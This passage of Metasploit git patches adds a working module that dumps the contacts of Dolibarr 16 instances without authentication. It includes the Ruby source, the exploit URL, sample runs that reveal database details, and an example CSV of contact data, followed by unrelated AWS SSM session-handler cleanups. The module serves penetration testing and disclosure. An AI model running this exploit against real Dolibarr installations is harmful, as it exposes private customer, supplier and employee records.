employee information if a contact file exists. +Both public and private notes are also included in the dump. + +### Dolibarr GitHub Repository & Dolibarr setup with vulnerable docker image + +If you need to setup Dolibarr, this is the official GitHub Repository from Dolibarr or via docker with a unofficial but working image and docker-compose. +``` +Official GitHub Repository: + +https://github.com/Dolibarr/dolibarr/tree/16.0.4 +``` + +``` +Unofficial image with docker-compose: + +docker pull tuxgasy/dolibarr:16.0.4 + +Important: This image dont contains database. So you need to link it with a database container. + +Use Docker Compose to integrate it with MariaDB (you can also use MySQL if you prefer). + +Create docker-compose.yml file as following: + +version: "3" + +services: + mariadb: + image: mariadb:latest + environment: + MARIADB_DATABASE: dolibarr + MARIADB_USER: dolibarr + MARIADB_PASSWORD: dolibarr + MARIADB_RANDOM_ROOT_PASSWORD: 'yes' + web: + image: tuxgasy/dolibarr:16.0.4 + environment: + DOLI_DB_HOST: mariadb + DOLI_DB_USER: dolibarr + DOLI_DB_PASSWORD: dolibarr + DOLI_DB_NAME: dolibarr + DOLI_URL_ROOT: 'http://0.0.0.0' + PHP_INI_DATE_TIMEZONE: 'Europe/Paris' + ports: + - "80:80" +``` + +Then run all services docker-compose up -d. Now, go to http://0.0.0.0 to access to the new Dolibarr installation. + +## Dolibarr Configuration + +Default credentials : admin/admin + +Important: +Once Dolibarr is installed, +you will have to activate the Third-parties module and create at least one contact in the latter to validate that the module works. + +To use this module, you must first enable it using an administrator account, via the menu option "Home - Setup - Modules/Applications". + +Choose the tab where the module is listed. Then click on "Activate". + +Finally, you can create a member via "Third-parties - New Contact/Address". + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use auxiliary/scanner/http/dolibarr_16_contact_dump` +4. Do: `set RHOSTS [IP] or [Dolibarr domain]` +5. Do: `exploit` +6. You should retrieve a file. + +## Options + +### TARGETURI + +The path to Dolibarr instance. Defaults to `/`, `http://dolibarrdomain/` + +## Scenarios + +### Dolibarr 16.0.4 on Ubuntu 22.10 +Exploitation of a Dolibarr 16.0.4 without verbose. +``` +msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS http://[Dolibarr domain]/ +RHOSTS => http://[Dolibarr domain]/ +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit + +[+] Detected vulnerable Dolibarr version: 16.0.4 +[+] Database type: mysqli +[+] Database name: dolibarr +[+] Database user: root +[+] Database host: mariadb +[+] Database port: 3306 +[+] Found 11 contacts. +[+] [RHOSTS]:[RPORT] - File saved in: /home/kali/.msf4/loot/20230329082801_default_X.X.X.X_dolibarr_212597.csv +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` +### Dolibarr 16.0.4 on Ubuntu 22.10 +Exploitation of a Dolibarr 16.0.4 with verbose. +``` +msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS [X.X.X.X] +RHOSTS => X.X.X.X +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set VERBOSE true +VERBOSE => true +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit + +--Check Host-- +[+] Domain: X.X.X.X +[+] Target_URI: / +[+] Response Code: 200 +[+] Response Body: + + + + + + + + +Login @ 16.0.4 + +[...] + + + + + +[+] Detected vulnerable Dolibarr version: 16.0.4 +--Exploit resquest-- +Domain: X.X.X.X +Target_URI: /public/ticket/ajax/ajax.php?action=getContacts&email=% +--Exploit response-- +[+] Response Code: 200 +[+] Response Body: {"contacts":[{"db":{"db":{},"type":"mysqli","forcecharset":"utf8","forcecollate":"utf8_unicode_ci","connected":true,"database_selected":true,"database_name":"dolibarr","database_user":"root","database_host":"mariadb",[...],"socname":null,"mail":""}],"error":""} +[+] Database type: mysqli +[+] Database name: dolibarr +[+] Database user: root +[+] Database host: mariadb +[+] Database port: 3306 +[+] Found 11 contacts. +[+] X.X.X.X:[RPORT] - File saved in: /home/kali/.msf4/loot/20230329092036_default_X.X.X.X_dolibarr_278659.csv +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` +### Dolibarr 16.0.4 on Ubuntu 22.10 +Attempted exploitation of a Dolibarr 16.0.4 without verbose and empty database. +``` +msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X +RHOSTS => X.X.X.X +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit + +[+] Detected vulnerable Dolibarr version: 16.0.4 +[-] Dolibarr database empty +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` +### Dolibarr 17.0.0 on Ubuntu 22.10 +Attempted exploitation of a Dolibarr 17.0.0 with verbose. +``` +msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X +RHOSTS => X.X.X.X +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set verbose true +verbose => true +msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit + +--Check Host-- +[+] Domain: X.X.X.X +[+] Target_URI: / +[+] Response Code: 200 +[+] Response Body: + + + + + + + + +Login @ 17.0.0 + +[...] + + + + + +[-] Detected apparently non-vulnerable Dolibarr version: 17.0.0 +[*] Proceeding to exploit anyway +--Exploit resquest-- +Domain: X.X.X.X +Target_URI: /public/ticket/ajax/ajax.php?action=getContacts&email=% +--Exploit response-- +[-] Exploit response code: 404 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +## Contact database dump +Here is an example of what your .csv file would look like if the contact exfiltration was successful. + +| id | country | country_code | state | state_code | region | region_code | note_public | note_private | note | name | lastname | firstname | civility_id | date_creation | civility_code | civility | civilite | address | zip | town | poste | email | +|-----|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---| +| 1 | FR | Rhône | 69 | | | | | | | | Latourelle | Valentine | | 1680275145 | MME | Mrs. | | 1600, Place du Jeu de Paume | 69400 | VILLEFRANCHE-SUR-SAÔNE | CEO | valentine@latourelle.latourelle | +| 2 | FR | | | | | | | don't make any discount I don't like him | | | Bolduc | Hugues | | 1680275611 | MR | Mr. | | 1200, rue Bonneterie | 59370 | MONS-EN-BAROEUL | CEO | hugues@bolduc.bolduc | +| 3 | FR | Rhône | 69 | | | | | | | | Gamelin | Felicien | | 1680275763 | MR | Mr. | | 5100, rue de la Boatie | 69000 | Lyon | DSI | felicien@gamelin.gamelin | + diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb new file mode 100644 index 0000000000000..a8cf14d748063 --- /dev/null +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Dolibarr 16 pre-auth contact database dump', + 'Description' => %q{ + Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump. + An unauthenticated attacker may retreive a company’s entire customer file, prospects, suppliers, + and potentially employee information if a contact file exists. + Both public and private notes are also included in the dump. + }, + 'Author' => [ + 'Vladimir TOUTAIN', 'Nolan LOSSIGNOL-DRILLIEN' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2023-03-14', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + }, + 'References' => [ + ['URL', 'https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/'], + ['URL', 'https://github.com/Dolibarr/dolibarr/blob/16.0.5/ChangeLog#L34'], + ['URL', 'https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7'], + ['URL', 'https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e'] + ] + ) + ) + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Path to Dolibarr instance', '/']) + + ] + ) + end + + def check_host(_ip) + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + return Exploit::CheckCode::Unknown unless res && res.code == 200 + + vprint_line('--Check Host--') + vprint_good("Domain: #{vhost}") + vprint_good("Target_URI: #{target_uri}") + vprint_good("Response Code: #{res.code}") + vprint_good("Response Body: #{res.body}") + + /(Dolibarr|Login @|version=)\s*-*\s*(?\d+.*\.\d+)/ =~ res.body + version = Rex::Version.new(version) + if version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) + return [Exploit::CheckCode::Appears, version] + elsif version == '0' + version = 'not found' + return [Exploit::CheckCode::Detected, version] + end + + return [Exploit::CheckCode::Safe, version] + end + + def exploit + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'public', 'ticket', 'ajax', 'ajax.php?action=getContacts&email=%') + }, timeout = 90, disconnect = true) + vprint_line('--Exploit resquest--') + vprint_line("Domain: #{vhost}") + vprint_line("Target_URI: #{normalize_uri(target_uri.path, 'public', 'ticket', 'ajax', 'ajax.php?action=getContacts&email=%')}") + + vprint_line('--Exploit response--') + begin + res_json_document = res.get_json_document['contacts'] + rescue + return Exploit::CheckCode::Unknown + end + + if res && res.code != 200 + print_bad("Exploit response code: #{res.code}") + return Exploit::CheckCode::Unknown + elsif res_json_document.empty? + print_bad('Dolibarr database empty') + return Exploit::CheckCode::Unknown + end + + vprint_good("Response Code: #{res.code}") + vprint_good("Response Body: #{res.body}") + + begin + print_good("Database type: #{res_json_document[0]['db']['type']}") + print_good("Database name: #{res_json_document[0]['db']['database_name']}") + print_good("Database user: #{res_json_document[0]['db']['database_user']}") + print_good("Database host: #{res_json_document[0]['db']['database_host']}") + print_good("Database port: #{res_json_document[0]['db']['database_port']}") + end + + contact_entry = %w[ + id country country_code state state_code region region_code note_public note_private note name lastname + firstname civility_id date_creation civility_code civility civilite address zip town poste email skype + twitter facebook linkedin jabberid photo phone_perso phone_mobile fax birthday ref_facturation + ref_contrat ref_commande user_login roles statut_commercial socname mail gender total_ht total_tva + total_localtax1 total_localtax2 total_ttc fk_bank fk_delivery_address fk_account cond_reglement + transport_mode_id barcode_type + ] + contact_entry_data = [] + + nbr_contact = res_json_document.length.to_i + + print_good("Found #{nbr_contact} contacts.") + + path = store_loot( + 'dolibarr', + 'application/CSV', + vhost, + nil, + '.csv' + ) + + csv_string = CSV.generate do |csv| # Loop to write into csv + csv << contact_entry + nbr_contact.times do |num| # Loop on every contact + contact_entry.each_with_index do |element, index_element| + begin + contact_entry_data << res_json_document[num][element].to_s.gsub("\r\n", ' ') + rescue + contact_entry_data << ' ' + end + if index_element == contact_entry.length - 1 + csv << contact_entry_data + contact_entry_data.clear + end + end + end + end + + finalcsv = File.open(path.to_s, 'w+') + finalcsv.puts(csv_string) + finalcsv.close + + print_good("#{rhost}:#{rport} - File saved in: #{path}") + end + + def run_host(_ip) + check_code, version = check + if check_code == Exploit::CheckCode::Safe || check_code == Exploit::CheckCode::Detected + print_bad("Detected apparently non-vulnerable Dolibarr version: #{version}") + vprint_status('Proceeding to exploit anyway') + exploit + elsif check_code == Exploit::CheckCode::Appears + print_good("Detected vulnerable Dolibarr version: #{version}") + exploit + end + end +end From a05aae3ebed318826001fdcc854009371756139a Mon Sep 17 00:00:00 2001 From: dsecbypass Date: Mon, 17 Apr 2023 17:24:59 +0200 Subject: [PATCH 032/415] Support remote database storage It's better to pass the CSV string to store_loot directly instead of using nil and writing to the local file path ourself. --- .../scanner/http/dolibarr_16_contact_dump.rb | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index a8cf14d748063..10becabb76f2e 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -120,14 +120,6 @@ def exploit print_good("Found #{nbr_contact} contacts.") - path = store_loot( - 'dolibarr', - 'application/CSV', - vhost, - nil, - '.csv' - ) - csv_string = CSV.generate do |csv| # Loop to write into csv csv << contact_entry nbr_contact.times do |num| # Loop on every contact @@ -145,9 +137,13 @@ def exploit end end - finalcsv = File.open(path.to_s, 'w+') - finalcsv.puts(csv_string) - finalcsv.close + path = store_loot( + 'dolibarr', + 'application/CSV', + vhost, + csv_string, + '.csv' + ) print_good("#{rhost}:#{rport} - File saved in: #{path}") end From 413082a4d6a5b277372b3877aff47adff6a0ee2e Mon Sep 17 00:00:00 2001 From: dsecbypass Date: Tue, 18 Apr 2023 11:24:14 +0200 Subject: [PATCH 033/415] Linting Simplified version regex, fixed rubocop findings. --- .../auxiliary/scanner/http/dolibarr_16_contact_dump.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index 10becabb76f2e..41f055c0966af 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -59,7 +59,7 @@ def check_host(_ip) vprint_good("Response Code: #{res.code}") vprint_good("Response Body: #{res.body}") - /(Dolibarr|Login @|version=)\s*-*\s*(?\d+.*\.\d+)/ =~ res.body + /version=(?\d+.*\.\d+)/ =~ res.body version = Rex::Version.new(version) if version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) return [Exploit::CheckCode::Appears, version] @@ -75,7 +75,7 @@ def exploit res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'public', 'ticket', 'ajax', 'ajax.php?action=getContacts&email=%') - }, timeout = 90, disconnect = true) + }, 90, true) vprint_line('--Exploit resquest--') vprint_line("Domain: #{vhost}") vprint_line("Target_URI: #{normalize_uri(target_uri.path, 'public', 'ticket', 'ajax', 'ajax.php?action=getContacts&email=%')}") @@ -83,7 +83,7 @@ def exploit vprint_line('--Exploit response--') begin res_json_document = res.get_json_document['contacts'] - rescue + rescue StandardError return Exploit::CheckCode::Unknown end @@ -126,7 +126,7 @@ def exploit contact_entry.each_with_index do |element, index_element| begin contact_entry_data << res_json_document[num][element].to_s.gsub("\r\n", ' ') - rescue + rescue StandardError contact_entry_data << ' ' end if index_element == contact_entry.length - 1 From 8ac5ae2a68468a2eb1996401df82d69d269eb73e Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 18 Apr 2023 12:23:46 -0400 Subject: [PATCH 034/415] Fix sessions opening over and over again Also make some code cleanups --- .../sessions/aws_ssm_command_shell_bind.rb | 2 +- lib/msf/core/handler/bind_aws_ssm.rb | 76 +++++++++---------- lib/rex/proto/http/web_socket/amazon_ssm.rb | 8 +- 3 files changed, 40 insertions(+), 46 deletions(-) diff --git a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb index 3c76e137f1886..8ced782c97307 100644 --- a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb +++ b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb @@ -28,7 +28,7 @@ class AwsSsmCommandShellBind < Msf::Sessions::CommandShell # Returns the session description. # def desc - 'SSM command shell' + 'AWS SSM command shell' end ## diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index ba4db437470b0..7923cb3348c77 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -6,8 +6,8 @@ module Handler ### # # This module implements the AWS SSM handler. This means that -# it will attempt to connect to a remote host through the AWS SSM pipe for -# a period of time (typically the duration of an exploit) to see if a the +# it will attempt to connect to a remote host through the AWS SSM pipe for +# a period of time (typically the duration of an exploit) to see if a the # agent has started listening. # ### @@ -40,7 +40,7 @@ def initialize(framework, ssmclient, peer_info) # self.lsock.peerinfo = peer_info['ComputerName'] + ':0' self.lsock.peerinfo = peer_info['IpAddress'] + ':0' # Fudge the portspec since each client request is actually a new connection w/ a new source port, for now - self.lsock.localinfo = Rex::Socket.source_address(@ssmclient.config.endpoint.to_s.sub('https://','')) + ':0' + self.lsock.localinfo = Rex::Socket.source_address(@ssmclient.config.endpoint.to_s.sub('https://', '')) + ':0' monitor_shell_stdout end @@ -53,7 +53,7 @@ def initialize(framework, ssmclient, peer_info) # funneling the data to the shell's stdin on the other side. # def monitor_shell_stdout - @monitor_thread = @framework.threads.spawn("AwsSsmSessionHandlerMonitor", false) { + @monitor_thread = @framework.threads.spawn('AwsSsmSessionHandlerMonitor', false) { begin while true Rex::ThreadSafe.sleep(0.5) while @cursor.nil? @@ -73,13 +73,13 @@ def ssm_read(length = nil, opts = {}) maxw = opts[:timeout] ? opts[:timeout] : 30 start = Time.now resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true) - while (resp.command_invocations.empty? or resp.command_invocations[0].status == "InProgress") and + while (resp.command_invocations.empty? or resp.command_invocations[0].status == 'InProgress') and (Time.now - start).to_i.abs < maxw do Rex::ThreadSafe.sleep(1) resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true) end # SSM script invocation states are: InProgress, Success, TimedOut, Cancelled, Failed - if resp.command_invocations[0].status == "Success" or resp.command_invocations[0].status == "Failed" + if resp.command_invocations[0].status == 'Success' or resp.command_invocations[0].status == 'Failed' # The big limitation: SSM command outputs are only 2500 chars max, otherwise you have to write to S3 and read from there output = resp.command_invocations.map {|c| c.command_plugins.map {|p| p.output}.join}.join @cursor = nil @@ -123,21 +123,21 @@ def close # 'bind_tcp'. # def self.handler_type - return "bind_aws_ssm" + return 'bind_aws_ssm' end # # Returns the connection oriented general handler type, in this case bind. # def self.general_handler_type - "bind" + 'bind' end # A string suitable for displaying to the user # # @return [String] def human_name - "bind AWS SSM" + 'bind AWS SSM' end # @@ -162,12 +162,12 @@ def initialize(info = {}) OptString.new('SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), OptString.new('SSM_COMMAND_DOC', [true, 'The SSM document to use for command requests', 'AWS-RunShellScript']), OptBool.new('SSM_FORCE_COMMANDS', [false, 'Force the session to use command abstraction without WebSockets', false]), - OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]) + OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]), ], Msf::Handler::BindAwsSsm) self.listener_threads = [] self.conn_threads = [] - self.listener_pairs = {} + self.listener_pairs = {} end # @@ -177,6 +177,7 @@ def cleanup_handler # Kill any remaining handle_connection threads that might # be hanging around stop_handler + conn_threads.each { |thr| thr.kill } @@ -210,20 +211,20 @@ def start_handler if (exploit_config and exploit_config['active_timeout']) ctimeout = exploit_config['active_timeout'].to_i end + + # Ignore this if one of the requried options is missing + return if datastore['EC2_ID'].blank? + + # Only try the same host/port combination once + return if self.listener_pairs[datastore['EC2_ID']] self.listener_pairs[datastore['EC2_ID']] = true # Start a new handling thread - self.listener_threads = framework.threads.spawn("BindAwsSsmHandler-#{datastore['EC2_ID']}", false) { + self.listener_threads << framework.threads.spawn("BindAwsSsmHandler-#{datastore['EC2_ID']}", false) do ssm_client = nil print_status("Started #{human_name} handler against #{datastore['EC2_ID']}:#{datastore['REGION']}") - if (datastore['EC2_ID'] == nil or datastore['EC2_ID'].strip.empty?) - raise ArgumentError, - "EC2_ID is not defined; SSM handler cannot function.", - caller - end - stime = Time.now.to_i while (stime + ctimeout > Time.now.to_i) @@ -242,24 +243,25 @@ def start_handler end # Valid client connection? - if (ssm_client) + if ssm_client # Increment the has connection counter self.pending_connections += 1 # Timeout and datastore options need to be passed through to the client opts = { - :datastore => datastore, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, + datastore: datastore, + expiration: datastore['SessionExpirationTimeout'].to_i, + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i } - self.conn_threads << framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| + self.conn_threads << framework.threads.spawn('BindAwsSsmHandlerSession', false, ssm_client, peer_info) do |client_copy, info_copy| begin raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['SSM_FORCE_COMMANDS'] + # Call API to start SSM session - session_init = client_copy.start_session({ + session_init=client_copy.start_session({ target: datastore['EC2_ID'], document_name: datastore['SSM_SESSION_DOC'] }) @@ -283,11 +285,11 @@ def start_handler end self.listener_pairs[datastore['EC2_ID']] = chan handle_connection(chan.lsock, { datastore: datastore }) - } + end else - wlog("No connection received before the handler completed") + wlog('No connection received before the handler completed') end - } + end end # A URI describing what the payload is configured to use for transport @@ -295,14 +297,6 @@ def payload_uri "ssm://#{datastore['EC2_ID']}:0" end - def comm_string - if bind_sock.nil? - "(setting up)" - else - via_string(bind_sock.client) if bind_sock.respond_to?(:client) - end - end - def stop_handler # Stop the listener threads self.listener_threads.each do |t| @@ -345,9 +339,9 @@ def get_ssm_session # Verify the connection params and availability of instance inv_params = { filters: [ { - key: "AWS:InstanceInformation.InstanceId", + key: 'AWS:InstanceInformation.InstanceId', values: [datastore['EC2_ID']], - type: "Equal", + type: 'Equal', } ]} inventory = client.get_inventory(inv_params) @@ -355,7 +349,7 @@ def get_ssm_session if inventory.entities[0] and inventory.entities[0].id == datastore['EC2_ID'] peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0] else - raise "SSM target not found" + raise 'AWS SSM target not found' end return [client, peer_info] end @@ -393,4 +387,4 @@ module AwsSsmSessionChannelExt end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 4ac1436ac1349..866960511159c 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -175,7 +175,7 @@ def on_data_read(data, _data_type) close else raise Rex::Proto::Http::WebSocket::ConnectionError.new( - msg: 'Unknown SSM message type', message_type: ssm_frame.header.message_type + msg: "Unknown AWS SSM message type: #{ssm_frame.header.message_type}" ) end nil @@ -261,13 +261,13 @@ def length # # Initiates a WebSocket session based on the params of SSM::Client#start_session # - # @param [Aws::SSM::Types::StartSessionResponse] :session_init Paramters returned by #start_session + # @param [Aws::SSM::Types::StartSessionResponse] :session_init Parameters returned by #start_session # @param [Integer] :timeout # # @return [Socket] Socket representing the authenticates SSM WebSocket connection def connect_ssm_ws(session_init, timeout = 20) # hack-up a "graceful fail-down" in the caller - # raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sesssions still need structs/parsing') + # raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sessions still need structs/parsing') ws_key = session_init.token_value ssm_id = session_init.session_id ws_url = URI.parse(session_init.stream_url) @@ -313,4 +313,4 @@ def connect_ssm_ws(session_init, timeout = 20) # Extend with interface socket.extend(Interface) end -end \ No newline at end of file +end From d8c82551208f80d46654853ff39e0f15826f7c07 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 18 Apr 2023 14:07:04 -0400 Subject: [PATCH 035/415] Set the platform in enum_ssm Update the enum_ssm module to use the correct session type with the appropriate platform. Also set the session information to the same string which also removes the eye sore that is the shell banner. --- lib/msf/core/handler/bind_aws_ssm.rb | 3 ++- lib/rex/proto/http/web_socket/amazon_ssm.rb | 11 +++++++---- modules/auxiliary/cloud/aws/enum_ssm.rb | 14 ++++++++++---- 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 7923cb3348c77..7a35e826cd991 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -261,7 +261,7 @@ def start_handler raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['SSM_FORCE_COMMANDS'] # Call API to start SSM session - session_init=client_copy.start_session({ + session_init = client_copy.start_session({ target: datastore['EC2_ID'], document_name: datastore['SSM_SESSION_DOC'] }) @@ -368,6 +368,7 @@ def create_session(ssm, opts = {}) # notify any waiters we may have. if s register_session(s) + s.info = "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{datastore['EC2_ID']})" end return s diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 866960511159c..e4d9b5e23522f 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -93,7 +93,7 @@ def handle_output_data(output_frame) else @ack_message = acknowledge_output(output_frame) # TODO: handle Payload::* types - if [PayloadType::Output, PayloadType::Error].any? {|e| e == output_frame.payload_type } + if [PayloadType::Output, PayloadType::Error].any? { |e| e == output_frame.payload_type } if @filter_echo.is_a?(String) and output_frame.payload_data.strip == @filter_echo.strip dlog("SsmChannel: filtering output #{@filter_echo}") @filter_echo = true @@ -121,6 +121,7 @@ def handle_acknowledge(ack_frame) def update_term_size return unless ::IO.console + rows, cols = ::IO.console.winsize unless rows == self.rows && cols == self.cols set_term_size(rows, cols) @@ -154,6 +155,7 @@ def initialize(websocket, filter_echo = false) def on_data_read(data, _data_type) return data if data.blank? + ssm_frame = SsmFrame.read(data) case ssm_frame.header.message_type.strip when 'output_stream_data' @@ -273,7 +275,7 @@ def connect_ssm_ws(session_init, timeout = 20) ws_url = URI.parse(session_init.stream_url) opts = {} opts['vhost'] = ws_url.host - opts['uri'] = ws_url.to_s.sub(/^.*#{ws_url.host}/,'') + opts['uri'] = ws_url.to_s.sub(/^.*#{ws_url.host}/, '') opts['headers'] = { 'Connection' => 'Upgrade', 'Upgrade' => 'WebSocket', @@ -282,10 +284,11 @@ def connect_ssm_ws(session_init, timeout = 20) } ctx = { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self } http_client = Rex::Proto::Http::Client.new(ws_url.host, 443, ctx, true) raise Rex::Proto::Http::WebSocket::ConnectionError.new if http_client.nil? + # Send upgrade request req = http_client.request_raw(opts) res = http_client.send_recv(req, timeout) @@ -307,7 +310,7 @@ def connect_ssm_ws(session_init, timeout = 20) ssm_wsock_init = JSON.generate({ MessageSchemaVersion: '1.0', RequestId: UUID.rand, - TokenValue: ws_key, + TokenValue: ws_key }) socket.put_wstext(ssm_wsock_init) # Extend with interface diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index 0e3ba023ef5ef..1ddc8b5dbd5da 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -106,11 +106,17 @@ def run type: ssm_host['AgentType'], data: ssm_host['AgentVersion'] ) - vprint_good("Found SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}") - if datastore['CreateSession'] - socket = get_ssm_socket(client, ssm_host['InstanceId']) - start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock) + vprint_good("Found AWS SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}") + next unless datastore['CreateSession'] + + socket = get_ssm_socket(client, ssm_host['InstanceId']) + if ssm_host['PlatformType'].casecmp?('Windows') + sess = Msf::Sessions::CommandShellWindows.new(socket.lsock) + else + sess = Msf::Sessions::CommandShellUnix.new(socket.lsock) end + + start_session(self, "AWS SSM #{datastore['ACCESS_KEY_ID']} (#{ssm_host['InstanceId']})", datastore, false, socket.lsock, sess) end rescue Seahorse::Client::NetworkingError => e print_error e.message From d875741c87455c8dc6934cec30011995cf14297f Mon Sep 17 00:00:00 2001 From: vtoutain Date: Wed, 19 Apr 2023 11:43:08 +0200 Subject: [PATCH 036/415] Fixed documentation typos --- .../auxiliary/scanner/http/dolibarr_16_contact_dump.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md index dbaff7d617047..534217949a0e3 100644 --- a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md +++ b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md @@ -2,13 +2,13 @@ ### Dolibarr 16 pre-auth contact database dump Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump. -An unauthenticated attacker may retreive a company’s entire customer file, prospects, suppliers, +An unauthenticated attacker may retrieve a company’s entire customer file, prospects, suppliers, and potentially employee information if a contact file exists. Both public and private notes are also included in the dump. ### Dolibarr GitHub Repository & Dolibarr setup with vulnerable docker image -If you need to setup Dolibarr, this is the official GitHub Repository from Dolibarr or via docker with a unofficial but working image and docker-compose. +If you need to setup Dolibarr, this is the 